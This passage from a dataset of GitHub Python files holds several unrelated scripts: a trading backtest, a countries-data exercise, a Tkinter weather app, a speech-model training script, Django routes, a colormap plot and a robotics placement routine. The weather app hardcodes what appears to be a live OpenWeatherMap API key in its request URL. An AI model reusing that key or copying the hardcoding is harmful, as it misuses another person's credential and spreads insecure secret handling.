nautilus_trader.backtest.engine import BacktestEngineConfig\nfrom nautilus_trader.backtest.models import FillModel\nfrom nautilus_trader.backtest.modules import FXRolloverInterestModule\nimport os\nfrom nautilus_trader.examples.strategies.as_market_maker import ASMarketMaker,ASMarketMakerConfig \nfrom nautilus_trader.config.backtest import BacktestRunConfig, BacktestVenueConfig, BacktestDataConfig\nfrom nautilus_trader.persistence.catalog.parquet import ParquetDataCatalog\nfrom pathlib import Path\nfrom nautilus_trader.model.currencies import USDT\nfrom nautilus_trader.model.enums import AccountType\nfrom nautilus_trader.model.enums import OMSType\nfrom nautilus_trader.model.identifiers import InstrumentId\nfrom nautilus_trader.model.identifiers import Symbol\nfrom nautilus_trader.model.identifiers import Venue\nfrom nautilus_trader.model.objects import Money\nfrom nautilus_trader.model.instruments.currency_pair import CurrencyPair\nfrom nautilus_trader.model.objects import Price, Quantity\nfrom nautilus_trader.persistence.external.core import process_files, write_objects\nfrom nautilus_trader.persistence.external.readers import ParquetReader\nfrom nautilus_trader.model.enums import BookType\nfrom nautilus_trader.model.orderbook.book import L2OrderBook\nfrom nautilus_trader.model.orderbook.data import OrderBookData\nfrom nautilus_trader.model.orderbook.data import OrderBookDeltas\nfrom nautilus_trader.model.orderbook.data import OrderBookSnapshot\nfrom functools import partial\nfrom nautilus_trader.model.enums import AggregationSource, PriceType\nfrom nautilus_trader.core.datetime import dt_to_unix_nanos\nfrom nautilus_trader.backtest.data.providers import TestDataProvider\nimport gc \nfrom joblib import Parallel,delayed \nfrom tqdm import tqdm \n\n\nfrom nautilus_trader.config import StreamingConfig\ndef streaming_config(\n catalog: ParquetDataCatalog,\n kind: str = \"backtest\",\n ) -> StreamingConfig:\n return StreamingConfig(\n catalog_path=str(catalog.path),\n fs_protocol=catalog.fs_protocol,\n kind=kind,\n )\n\n\ndef backtest_one(params):\n # Configure backtest engine\n CATALOG_PATH = \"catalog\"\n #import pickle \n \n streaming = streaming_config(ParquetDataCatalog(CATALOG_PATH))\n\n config = BacktestEngineConfig(\n trader_id=\"BACKTESTER-001\",\n streaming=streaming,\n )\n # Build the backtest engine\n engine = BacktestEngine(config=config)\n\n # Setup trading instruments\n BINANCE = Venue(\"BINANCE\")\n \n # Create a fill model (optional)\n fill_model = FillModel(\n prob_fill_on_limit=1,\n prob_fill_on_stop=1,\n prob_slippage=0,\n random_seed=42,\n )\n # Add a trading venue (multiple venues possible)\n # Add starting balances for single-currency or multi-currency accounts\n engine.add_venue(\n venue=BINANCE,\n oms_type=OMSType.NETTING,\n account_type=AccountType.MARGIN,\n base_currency=USDT, # Standard single-currency account\n starting_balances=[Money(1_000_000, USDT)],\n book_type=BookType.L2_MBP,\n )\n\n engine.add_instrument(params[\"instrument\"])\n data_config = BacktestDataConfig(\n catalog_path=str(CATALOG_PATH),\n data_cls=OrderBookData.fully_qualified_name(),\n instrument_id=params[\"instrument_id\"],\n start_time = params[\"start_time\"],\n end_time = params[\"end_time\"],\n )\n engine.add_data(data_config.load()[\"data\"])\n \n # Configure your strategy\n config = ASMarketMakerConfig(\n instrument_id=params[\"instrument_id\"],\n order_qty= params[\"order_qty\"],\n n_spreads= params[\"n_spreads\"],\n estimate_window = params[\"estimate_window\"],\n period = params[\"period\"],\n sigma_tick_period = params[\"sigma_tick_period\"],\n sigma_multiplier = params[\"sigma_multiplier\"],\n gamma = params[\"gamma\"],\n ema_tick_period = params[\"ema_tick_period\"],\n stop_loss= params[\"stop_loss\"],\n stoploss_sleep = params[\"stoploss_sleep\"],\n stopprofit = params[\"stopprofit\"],\n trailling_stop = params[\"trailling_stop\"],\n order_id_tag=\"001\",\n )\n # Instantiate and add your strategy\n strategy = ASMarketMaker(config=config)\n engine.add_strategy(strategy=strategy)\n\n\n # Run the engine (from start to end of data)\n engine.run()\n\n # Optionally view reports\n with pd.option_context(\n \"display.max_rows\",\n 100,\n \"display.max_columns\",\n None,\n \"display.width\",\n 300,\n ):\n print(engine.trader.generate_account_report(BINANCE))\n print(engine.trader.generate_order_fills_report())\n print(engine.trader.generate_positions_report())\n engine.trader.generate_order_fills_report().to_csv(\"orders.csv\")\n engine.trader.generate_account_report(BINANCE).to_csv(\"account.csv\")\n engine.trader.generate_positions_report().to_csv(\"positions.csv\")\n results = engine.get_result()\n #engine.cache.cache_positions()\n print(engine.cache.positions())\n # For repeated backtest runs make sure to reset the engine\n engine.reset()\n\n # Good practice to dispose of the object when done\n engine.dispose()\n gc.collect()\n return {\"total_orders\":results.total_orders,\n \"stats_pnls\":results.stats_pnls[\"USDT\"]['PnL%'],\n \"win rate\":results.stats_pnls[\"USDT\"]['Win Rate'],\n 'avg_win':results.stats_pnls[\"USDT\"]['Avg Winner'],\n \"maxloss\":results.stats_pnls[\"USDT\"]['Max Loser'],\n \"sharpratio\":results.stats_returns['Sharpe Ratio (252 days)'],\n \"sortin\":results.stats_returns['Sortino Ratio (252 days)'],\n }\n\n\n\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--symbol',default='MATICUSDT')\n parser.add_argument(\"--venue\",default='BINANCE') \n parser.add_argument(\"--fileloction\",default=\"data/compressed\") \n args = parser.parse_args()\n CATALOG_PATH = \"catalog\"\n catalog = ParquetDataCatalog(CATALOG_PATH)\n instrument_id = f\"{args.symbol}-PERP.{args.venue}\"\n instrument = catalog.instruments(instrument_ids=[instrument_id],as_nautilus=True)[0]\n \n num_workers = int(os.cpu_count ()/2.0)\n PARAM_SET = [\n ]\n import numpy as np \n\n for i in [1]:\n params=dict(\n instrument = instrument,\n instrument_id = instrument_id,\n order_qty = 100,\n n_spreads = 10,\n estimate_window = 600000,\n period = 2000,\n sigma_tick_period = 500,\n sigma_multiplier = 1.0,\n gamma = 0.2,\n ema_tick_period = 200,\n stop_loss = 0.0618,\n stoploss_sleep = 30000,\n stopprofit = 0.00618,\n trailling_stop = 0.00382,\n start_time = '2022-11-13',\n end_time = '2022-11-14',\n )\n PARAM_SET.append(params) \n total_results = Parallel(n_jobs = num_workers)(\n delayed(backtest_one)(params) for params in tqdm(PARAM_SET )\n )\n total_results = pd.DataFrame(total_results)\n total_results[\"params\"] = PARAM_SET\n total_results = total_results.sort_values(by=\"stats_pnls\",ascending=False)\n total_results.to_csv(\"backtets_results.csv\")\n","repo_name":"graceyangfan/nautilus_tutorial","sub_path":"process/backtest_example.py","file_name":"backtest_example.py","file_ext":"py","file_size_in_byte":7976,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"24"} +{"seq_id":"72535512062","text":"import json\nwith open(\"countries.json\",encoding=\"utf-8\") as f:\n data=json.load(f)\n\n#print total number of country details\nprint(len(data))\n#print details of india\nindia_details=[country for country in data if country[\"name\"]==\"India\"]\nprint(india_details)\n#print languages of ukrane\nlanguages=[country[\"languages\"] for country in data if country[\"name\"]==\"India\"]\nfor lan in languages[0]:\n print(lan[\"name\"])\n#print currency of china\ncurrency_details=[country[\"currencies\"] for country in data if country[\"name\"].lower().startswith(\"palestine\")]\ncurr=[details.get(\"name\") for details in currency_details[0]]\nprint(curr)\n# print(currency_details)\ncurrency=[country[\"currencies\"] for country in data if country[\"name\"]==\"China\"]\ncurrency_name=[c.get(\"name\")for c in currency[0]]\nprint(currency_name)\n#print population of india\npopulation=[country[\"population\"] for country in data if country[\"name\"]==\"India\"]\nprint(population)\n##print neighboring countries od australia\n# neighbor=[country[\"borders\"] for country in data if country[\"name\"]==\"India\"]\n# print(neighbor)\n\n\n#print neighboring countries od australia using function\ndef get_country_data(country_name):\n return[country for country in data if country[\"name\"].lower().startswith(country_name)]\n\naust_data=get_country_data(\"austria\")\nprint(aust_data[0].get(\"borders\"))\n\ncountry_data=get_country_data(\"india\")\ncountry_borders=country_data[0].get(\"borders\")\nsharing_borders=[country.get(\"name\") for country in data if country[\"alpha3Code\"] in country_borders]\nprint(sharing_borders)\n\n\n# country with highest population\npopulation=max(data,key=lambda d:d.get(\"population\"))\nprint(population.get(\"name\"))\n\n\n#country with minimum population\npopulation=min(data,key=lambda d:d.get(\"population\"))\nprint(population.get(\"name\"))","repo_name":"NandhithaDinesh/luminar","sub_path":"fileIO/countriesquestions.py","file_name":"countriesquestions.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"21452661744","text":"from tkinter import *\nimport tkinter as tk\nfrom geopy.geocoders import Nominatim\nfrom tkinter import ttk,messagebox\nfrom timezonefinder import TimezoneFinder\nfrom datetime import datetime\nimport requests\nimport pytz\n\nroot = Tk()\nroot.title(\"Weather App\")\n\n# Get the screen width and height\nscreen_width = root.winfo_screenwidth()\nscreen_height = root.winfo_screenheight()\n\n# Calculate the x and y coordinates for the Tk root window\nx = (screen_width - 900) // 2\ny = (screen_height - 500) // 2\n\n# Set the geometry of the root window\nroot.geometry(f\"900x500+{x}+{y}\")\n\nroot.resizable(False, False)\nroot.attributes(\"-alpha\", 1)\t\t# transparency range 0-1\n\ndef getweather():\n try:\n city=textfield.get()\n if city == \"\":\n messagebox.showerror(\"Warning!\", \"Please enter a city name.\")\n return\n geolocator=Nominatim(user_agent=\"geoapiExercises\")\n location=geolocator.geocode(city)\n obj=TimezoneFinder()\n result=obj.timezone_at(lng=location.longitude,lat=location.latitude)\n\n name.config(text=result)\n long_lat.config(text=f\"{round(location.latitude,4)}°N / {round(location.longitude,4)}°E\")\n \n home=pytz.timezone(result)\n local_time=datetime.now(home)\n current_time=local_time.strftime(\"%I:%M %p\")\n clock.config(text=current_time)\n \n #WeatherApi\n api=\"https://api.openweathermap.org/data/2.5/weather?q=\"+city+\"&appid=a03a9654056957bfe21c192876194a6f\"\n \n json_data = requests.get(api).json()\n condition = json_data['weather'][0]['main']\n description = json_data['weather'][0]['description']\n temp = int(json_data['main']['temp']-273.15)\n pressure = (json_data['main']['pressure'])\n humidity = (json_data['main']['humidity'])\n wind = (json_data['wind']['speed'])\n sunrise = datetime.fromtimestamp(json_data['sys']['sunrise']).strftime(\"%I:%M %p\")\n sunset = datetime.fromtimestamp(json_data['sys']['sunset']).strftime(\"%I:%M %p\")\n \n t.config(text=f\"{temp}°C\")\n c.config(text=(condition,\"|\",\"FEELS\",\"LIKE\",temp,\"°C\"))\n \n w.config(text=f\"{wind} m/s\")\n h.config(text=f\"{humidity}%\")\n d.config(text=description)\n p.config(text=f\"{pressure} hPa\")\n sr.config(text=sunrise)\n ss.config(text=sunset)\n \n except Exception as e:\n messagebox.showerror(\"Weather App\",\"Invalid Entry!!\")\n\ndef reset_data():\n t.config(text=\"...\")\n c.config(text=\"...\")\n w.config(text=\"...\")\n h.config(text=\"...\")\n d.config(text=\"...\")\n p.config(text=\"...\")\n sr.config(text=\"...\")\n ss.config(text=\"...\")\n\n#Search Box\nSearch_image=PhotoImage(file=\"search.png\")\nmyimage=Label(image=Search_image)\nmyimage.place(x=20,y=20)\n\ntextfield=tk.Entry(root,justify=\"center\",width=17,font=(\"poppins\",25,\"bold\"),bg=\"#404040\",border=0,fg=\"white\")\ntextfield.place(x=50,y=40)\ntextfield.focus()\t#sets the focus on the text field itself\ntextfield.bind(\"\", lambda event: getweather()) #binds the Enter key event to a specific function\ntextfield.bind(\"\", lambda event: reset_data())\n\nSearch_icon=PhotoImage(file=\"searchicon.png\")\nmyimage_icon=Button(image=Search_icon,borderwidth=0,cursor=\"hand2\",bg=\"#404040\",activebackground='#404040',command=getweather)\nmyimage_icon.place(x=400,y=34)\n\n#Logo\nlogo_image=PhotoImage(file=\"im.png\")\nlogoimage=Label(image=logo_image)\nlogoimage.place(x=150,y=100) \n\n#sunrise/sunset icon\nsr_image=PhotoImage(file=\"sunrise.png\")\nsrimage=Label(image=sr_image)\nsrimage.place(x=90,y=355)\n\nss_image=PhotoImage(file=\"sunset.png\")\nssimage=Label(image=ss_image)\nssimage.place(x=590,y=355)\n\n\n#Bottom box\nFrame_image=PhotoImage(file=\"box.png\")\nframe_myimage=Label(image=Frame_image)\nframe_myimage.pack(padx=5,pady=5,side=BOTTOM)\n\n#Timezone\nname=Label(root,font=(\"arial\",12,'bold'))\nname.place(x=690,y=20)\nlong_lat=Label(root,font=(\"arial\",12,'bold'))\nlong_lat.place(x=690,y=50)\n\nclock=Label(root,font=(\"Helvetica\",20,'bold'))\nclock.place(x=30,y=100)\n\n# Label\nlabel1 = Label(root, text=\"WIND\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel1.place(x=120, y=400)\n\nlabel2 = Label(root, text=\"HUMIDITY\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel2.place(x=250, y=400)\n\nlabel3 = Label(root, text=\"DESCRIPTION\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel3.place(x=420, y=400)\n\nlabel4 = Label(root, text=\"PRESSURE\", font=(\"Helvetica\", 15, 'bold'), fg=\"white\", bg=\"#1ab5ef\")\nlabel4.place(x=650, y=400)\n\nlabel5 = Label(root, text=\"SUNRISE\", font=(\"Helvetica\", 14, 'bold'),fg=\"#1ab5ef\")\nlabel5.place(x=125, y=356)\n\nlabel6 = Label(root, text=\"SUNSET\", font=(\"Helvetica\", 14, 'bold'),fg=\"#1ab5ef\")\nlabel6.place(x=630, y=356)\n\n\nt = Label(font=(\"arial\", 70, \"bold\"), fg=\"#ee666d\")\nt.place(x=400, y=150)\nc = Label(font=(\"arial\", 15, \"bold\"), fg=\"#ee666d\")\nc.place(x=400, y=250)\n\nw = Label(text=\"...\", font=(\"arial\",15, \"bold\"), bg=\"#1ab5ef\")\nw.place(x=125, y=430)\nh = Label(text=\"...\", font=(\"arial\",15,\"bold\"), bg=\"#1ab5ef\")\nh.place(x=280, y=430)\nd = Label(text=\"...\", font=(\"arial\",15, \"bold\"), bg=\"#1ab5ef\")\nd.place(x=420, y=430)\np = Label(text=\"...\", font=(\"arial\",15, \"bold\"), bg=\"#1ab5ef\")\np.place(x=670, y=430)\nsr = Label(text=\"...\", font=(\"arial\", 14, \"bold\"))\nsr.place(x=220, y=356)\nss = Label(text=\"...\", font=(\"arial\", 14, \"bold\"))\nss.place(x=715, y=356)\n\nroot.mainloop()\n\n\n","repo_name":"NIKESHG/Weather_app","sub_path":"Weatherapp.py","file_name":"Weatherapp.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"30415706600","text":"import os\nimport tensorflow as tf\nfrom utils import get_data, data_hparams, history_loss\nfrom keras.callbacks import ModelCheckpoint\n\n# import matplotlib.pyplot as plt\n\n\n# 0.准备训练所需数据------------------------------\ndata_args = data_hparams()\ndata_args.data_type = 'train'\ndata_args.data_path = '../../dataset/'\n# data_args.data_path = '/mnt/data/wanli/dataset/data_thchs30/train/'\ndata_args.thchs30 = True\ndata_args.aishell = False\ndata_args.prime = False\ndata_args.stcmd = False\ndata_args.batch_size = 4\n# data_args.data_length = 10\ndata_args.data_length = None\ndata_args.shuffle = True\ntrain_data = get_data(data_args)\n\n# 0.准备验证所需数据------------------------------\ndata_args = data_hparams()\ndata_args.data_type = 'dev'\ndata_args.data_path = '../../dataset/'\n# data_args.data_path = '/mnt/data/wanli/dataset/data_thchs30/test/'\ndata_args.thchs30 = True\ndata_args.aishell = False\ndata_args.prime = False\ndata_args.stcmd = False\ndata_args.batch_size = 4\ndata_args.data_length = None\n# data_args.data_length = 10\ndata_args.shuffle = True\ndev_data = get_data(data_args)\n\n# 1.声学模型训��-----------------------------------\nfrom model_speech.cnn_ctc import Am, am_hparams\n\nam_args = am_hparams()\nam_args.vocab_size = len(train_data.am_vocab)\nam_args.gpu_nums = 1\n# [1e-3,1e-5]\n# [0.00008,0.0008],0.0003\n# am_args.lr = 0.0016\n# am_args.lr = 0.00002\nam_args.lr = 0.000005\n# am_args.lr = 1e-4\n# am_args.lr = 2e-6\nam_args.is_training = True\nam = Am(am_args)\n\nif os.path.exists('logs_am/model.h5'):\n print('load acoustic model...')\n am.ctc_model.load_weights('logs_am/model.h5')\n\nepochs = 10\n# epochs = 2\nbatch_num = len(train_data.wav_lst) // train_data.batch_size\n\n# checkpoint\n# ckpt = \"model_{epoch:02d}-{val_acc:.2f}.hdf5\"\nckpt = \"model_{epoch:02d}.hdf5\"\ncheckpoint = ModelCheckpoint(\n os.path.join('./checkpoint', ckpt),\n monitor='val_loss',\n # monitor='val_acc',\n save_weights_only=False,\n verbose=1,\n save_best_only=True\n)\n\n#\n# for k in range(epochs):\n# print('this is the', k+1, 'th epochs trainning !!!')\n# batch = train_data.get_am_batch()\n# dev_batch = dev_data.get_am_batch()\n# am.ctc_model.fit_generator(batch, steps_per_epoch=batch_num, epochs=10, callbacks=[checkpoint], workers=1, use_multiprocessing=False, validation_data=dev_batch, validation_steps=200)\n\nbatch = train_data.get_am_batch()\ndev_batch = dev_data.get_am_batch()\n\nhistory = am.ctc_model.fit_generator(\n batch,\n steps_per_epoch=batch_num,\n epochs=70,\n # epochs=5,\n callbacks=[checkpoint],\n workers=1,\n use_multiprocessing=False,\n validation_data=dev_batch,\n validation_steps=200\n)\nam.ctc_model.save_weights('logs_am/model.h5')\n\n# 训练参数曲线\nhistory_dict = history.history\nprint(\"history_dict.keys():\")\nprint(history_dict.keys())\n# 损失曲线\nhistory_loss(history_dict, am_args.lr)\n\n# 2.语言模型训练-------------------------------------------\nfrom model_language.transformer import Lm, lm_hparams\n\nlm_args = lm_hparams()\nlm_args.num_heads = 8\nlm_args.num_blocks = 6\nlm_args.input_vocab_size = len(train_data.pny_vocab)\nlm_args.label_vocab_size = len(train_data.han_vocab)\nlm_args.max_length = 100\nlm_args.hidden_units = 512\nlm_args.dropout_rate = 0.2\nlm_args.lr = 0.0003\nlm_args.is_training = True\nlm = Lm(lm_args)\n\nepochs = 10\n# epochs = 5\nwith lm.graph.as_default():\n saver = tf.train.Saver()\nwith tf.Session(graph=lm.graph) as sess:\n merged = tf.summary.merge_all()\n sess.run(tf.global_variables_initializer())\n add_num = 0\n if os.path.exists('logs_lm/checkpoint'):\n print('loading language model...')\n latest = tf.train.latest_checkpoint('logs_lm')\n add_num = int(latest.split('_')[-1])\n saver.restore(sess, latest)\n writer = tf.summary.FileWriter('logs_lm/tensorboard', tf.get_default_graph())\n for k in range(epochs):\n total_loss = 0\n batch = train_data.get_lm_batch()\n for i in range(batch_num):\n input_batch, label_batch = next(batch)\n feed = {lm.x: input_batch, lm.y: label_batch}\n cost, _ = sess.run([lm.mean_loss, lm.train_op], feed_dict=feed)\n total_loss += cost\n if (k * batch_num + i) % 10 == 0:\n rs = sess.run(merged, feed_dict=feed)\n writer.add_summary(rs, k * batch_num + i)\n print('epochs', k + 1, ': average loss = ', total_loss / batch_num)\n saver.save(sess, 'logs_lm/model_%d' % (epochs + add_num))\n writer.close()\n","repo_name":"ky1994/SpeechRecognition","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"24"} +{"seq_id":"39984459106","text":"t = int(input())\nfor _ in range(t):\n h, w, n = map(int, input().split())\n # 순서와 층에 맞도록 a,b 계산\n a = n % h\n b = (n // h) + 1\n # n이 h의 배수일 경우 a는 0이 되므로 h로 바꿔주고 b는 하나가 넘어가버리니까 1을 빼줌\n if a == 0:\n a = h\n b -= 1\n # b가 1자리수 일 경우 a와 b 사이에 0을 넣어줌 (범위가 99까지이므로 2자리 경우까지만 고려해주면 됨)\n if len(str(b)) > 1:\n print(str(a) + str(b))\n else:\n print(str(a) + '0' + str(b))","repo_name":"brandonccccc/python-practice","sub_path":"백준/복습_bunggin12/7.기본수학1/10250_ACM호텔.py","file_name":"10250_ACM호텔.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"26021118161","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # path('realtor-houses', views.RealtorRegisteredHouses.as_view()),\n path('all-houses', views.Houses),\n path('realtor-houses', views.RealtorRegisteredHouses.as_view()),\n path('rentBill', views.payRent),\n path('rent/', views.rent),\n path('bill/', views.bill),\n path('myBill', views.MyBill.as_view()),\n path('bills', views.checkBills.as_view()),\n path('total-bills', views.TotalBills),\n path('realtor-total-bills', views.TotalRealtorBills),\n\n path('houses', views.listHouse),\n \n path('house/', views.house),\n path('house/delete/', views.house),\n path('house/update/', views.house),\n path('images', views.images),\n\n path('house', views.checkHouse.as_view()),\n\n]","repo_name":"konin84/houseagent","sub_path":"house/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"14398429780","text":"'''\nFor each colormap, plot the lightness parameter L* from CIELAB colorspace \nalong the y axis vs index through the colormap. Colormaps are examined in \ncategories as in the original matplotlib gallery of colormaps.\n'''\n\nimport colorconv as color\n#from skimage import color\n# we are using a local copy of colorconv from scikit-image to reduce dependencies. \n# You should probably use the one from scikit-image in most cases. \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport matplotlib as mpl\n\nmpl.rcParams.update({'font.size': 14})\nmpl.rcParams['font.sans-serif'] = 'Arev Sans, Bitstream Vera Sans, Lucida Grande, Verdana, Geneva, Lucid, Helvetica, Avant Garde, sans-serif'\nmpl.rcParams['mathtext.fontset'] = 'custom'\nmpl.rcParams['mathtext.cal'] = 'cursive'\nmpl.rcParams['mathtext.rm'] = 'sans'\nmpl.rcParams['mathtext.tt'] = 'monospace'\nmpl.rcParams['mathtext.it'] = 'sans:italic'\nmpl.rcParams['mathtext.bf'] = 'sans:bold'\nmpl.rcParams['mathtext.sf'] = 'sans'\nmpl.rcParams['mathtext.fallback_to_cm'] = 'True'\n\n# Have colormaps separated into categories: http://matplotlib.org/examples/color/colormaps_reference.html\n\ncmaps = [('Sequential', ['Blues', 'BuGn', 'BuPu',\n 'GnBu', 'Greens', 'Greys', 'Oranges', 'OrRd',\n 'PuBu', 'PuBuGn', 'PuRd', 'Purples', 'RdPu',\n 'Reds', 'YlGn', 'YlGnBu', 'YlOrBr', 'YlOrRd']),\n ('Sequential (2)', ['afmhot', 'autumn', 'bone', 'cool', 'copper',\n 'gist_heat', 'gray', 'hot', 'pink',\n 'spring', 'summer', 'winter']),\n ('Diverging', ['BrBG', 'bwr', 'coolwarm', 'PiYG', 'PRGn', 'PuOr',\n 'RdBu', 'RdGy', 'RdYlBu', 'RdYlGn', 'Spectral',\n 'seismic']),\n ('Qualitative', ['Accent', 'Dark2', 'Paired', 'Pastel1',\n 'Pastel2', 'Set1', 'Set2', 'Set3']),\n ('Miscellaneous', ['gist_earth', 'terrain', 'ocean', 'gist_stern',\n 'brg', 'CMRmap', 'cubehelix',\n 'gnuplot', 'gnuplot2', 'gist_ncar',\n 'nipy_spectral', 'jet', 'rainbow',\n 'gist_rainbow', 'hsv', 'flag', 'prism'])]\n\n# indices to step through colormap\nx = np.linspace(0.0, 1.0, 100)\n\n# Do plot\nfor cmap_category, cmap_list in cmaps:\n\n # Do subplots so that colormaps have enough space. 5 per subplot?\n dsub = 5 # number of colormaps per subplot\n if cmap_category == 'Diverging': # because has 12 colormaps\n dsub = 6\n elif cmap_category == 'Sequential (2)':\n dsub = 6\n elif cmap_category == 'Sequential':\n dsub = 7\n nsubplots = int(np.ceil(len(cmap_list)/float(dsub)))\n\n fig = plt.figure(figsize=(11.5,4*nsubplots))\n\n for i, subplot in enumerate(range(nsubplots)):\n\n locs = [] # locations for text labels\n\n ax = fig.add_subplot(nsubplots, 1, i+1)\n # pdb.set_trace()\n\n for j, cmap in enumerate(cmap_list[i*dsub:(i+1)*dsub]):\n\n # Get rgb values for colormap\n rgb = cm.get_cmap(cmap)(x)[np.newaxis,:,:3]\n\n # Get colormap in CIE LAB. We want the L here.\n lab = color.rgb2lab(rgb)\n\n # Plot colormap L values\n # Do separately for each category so each plot can be pretty\n # to make scatter markers change color along plot: http://stackoverflow.com/questions/8202605/matplotlib-scatterplot-colour-as-a-function-of-a-third-variable\n if cmap_category=='Sequential':\n dc = 0.6 # spacing between colormaps\n ax.scatter(x+j*dc, lab[0,::-1,0], c=x, cmap=cmap + '_r', s=300, linewidths=0.)\n if i==2:\n ax.axis([-0.1,4.1,0,100])\n else:\n ax.axis([-0.1,4.7,0,100])\n locs.append(x[-1]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Sequential (2)':\n dc = 1.15\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,7.0,0,100])\n locs.append(x[-1]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Diverging':\n dc = 1.2\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,7.1,0,100])\n locs.append(x[int(x.size/2.)]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Qualitative':\n dc = 1.3\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,6.3,0,100])\n locs.append(x[int(x.size/2.)]+j*dc) # store locations for colormap labels\n\n elif cmap_category=='Miscellaneous':\n dc = 1.25\n ax.scatter(x+j*dc, lab[0,:,0], c=x, cmap=cmap, s=300, linewidths=0.)\n ax.axis([-0.1,6.1,0,100])\n locs.append(x[int(x.size/2.)]+j*dc) # store locations for colormap labels\n\n # Set up labels for colormaps\n ax.xaxis.set_ticks_position('top')\n ticker = mpl.ticker.FixedLocator(locs)\n ax.xaxis.set_major_locator(ticker)\n formatter = mpl.ticker.FixedFormatter(cmap_list[i*dsub:(i+1)*dsub])\n ax.xaxis.set_major_formatter(formatter)\n labels = ax.get_xticklabels()\n for label in labels:\n label.set_rotation(60)\n\n ax.set_xlabel(cmap_category + ' colormaps', fontsize=22)\n fig.text(-0.005, 0.55, 'Lightness $L^*$', fontsize=18, transform=fig.transFigure, rotation=90)\n\n fig.tight_layout(h_pad=0.05)\n plt.show()\n","repo_name":"truongkma/ctf-tools","sub_path":"matplotlib-master/doc/users/plotting/colormaps/lightness.py","file_name":"lightness.py","file_ext":"py","file_size_in_byte":5769,"program_lang":"python","lang":"en","doc_type":"code","stars":666,"dataset":"github-code","pt":"24"} +{"seq_id":"23897535501","text":"import openravepy as orpy\nfrom Grasp import *\nimport numpy as np\nimport copy\nfrom scipy.spatial import ConvexHull\nimport Utils\n\nX = np.array([1., 0., 0.])\nY = np.array([0., 1., 0.])\nZ = np.array([0., 0., 1.])\n\nimport pkg_resources\ngripper_aabb = pkg_resources.resource_string\\\n('pymanip', 'utils/gripper_aabb.xml')\n\n## assume that all parts are boxes\n\ndef PlacementPreprocess(manip_object, COM = None):\n nparts = len(manip_object.GetLinks())\n\n with manip_object:\n manip_object.SetTransform(np.eye(4))\n if COM is None:\n ## COM and total mass \n COM = 0\n M = 0\n for l in manip_object.GetLinks():\n m = l.GetMass()\n M += m\n COM += m*l.GetGlobalCOM()\n COM /= M\n\n ## Relative transformation between the object's frame and the first\n ## link's frame (the object's frame)\n ## The origin of the object's frame is set to be at the COM.\n ## The rotation is set to be the same as the first link's frame.\n TCOM = np.eye(4)\n TCOM[0][3] = COM[0]\n TCOM[1][3] = COM[1]\n TCOM[2][3] = COM[2]\n TCOMinv = np.linalg.inv(TCOM)\n \n pointsets = []\n extents = []\n\n manip_object.SetTransform(TCOMinv)\n for i in range(nparts):\n l = manip_object.GetLinks()[i]\n extent = l.GetGeometries()[0].GetBoxExtents()\n extent = np.around(extent, decimals = 6)\n extents.append(extent)\n\n com = l.GetGlobalCOM()\n [dx, dy, dz] = extent\n \n X = l.GetTransform()[0:3, 0]\n Y = l.GetTransform()[0:3, 1]\n Z = l.GetTransform()[0:3, 2]\n \n ## extreme points of the part\n pointset = [com + dx*X + dy*Y + dz*Z,\n com + dx*X + dy*Y - dz*Z,\n com + dx*X - dy*Y + dz*Z,\n com + dx*X - dy*Y - dz*Z,\n com - dx*X + dy*Y + dz*Z,\n com - dx*X + dy*Y - dz*Z,\n com - dx*X - dy*Y + dz*Z,\n com - dx*X - dy*Y - dz*Z]\n pointsets += pointset\n\n hull = ConvexHull(pointsets, qhull_options = 'E0.001')\n\n ## temp contains equations describing surfaces.\n ## each equation is in the form av + b = 0\n ## however, there is redundancy in temp. \n ## we need to remove duplicate equations\n temp = hull.equations.tolist()\n\n E = []\n for i in xrange(len(temp)):\n similar = False\n for e in E:\n if np.allclose(temp[i], e):\n similar = True\n break\n if not similar:\n E.append(temp[i])\n E = np.asarray(E)\n E = np.around(E, decimals = 6) \n nsurfaces = len(E)\n\n ## Av + b <= 0 for v in the polyhedron\n A = np.array(E[0:nsurfaces, 0:3])\n b = np.array(E[0:nsurfaces, 3])\n\n S = []\n S.append(TCOM)\n ## S[i] is the relative transformation between the surface's\n ## coordinate and the object's cooredinate\n ## except S[0] which is TCOM\n\n ## NOTE: S contains only the surfaces that can be contact surfaces,\n ## i.e., the surfaces that p lies inside.\n for i in range(nsurfaces):\n z = np.array(A[i]) ## surface normal\n d = -np.array(b[i]) ## surface offset\n p = d*z ## surface's frame origin\n if (not np.all(np.around(np.dot(A, p) + b, decimals = 6) <= 0)):\n ## p lies outside the polygon\n # print \"surface {0} is an invalid contact surface\".format(i)\n continue\n\n ## x-axis\n x = PerpendicularTo(z)\n ## y-axis\n y = np.cross(z, x) \n ## each column of R is the axis described in the object's frame\n R = np.vstack((x, y, z)).T\n # p = np.dot(TCOM, np.append(p, 1))[0:3]\n p = 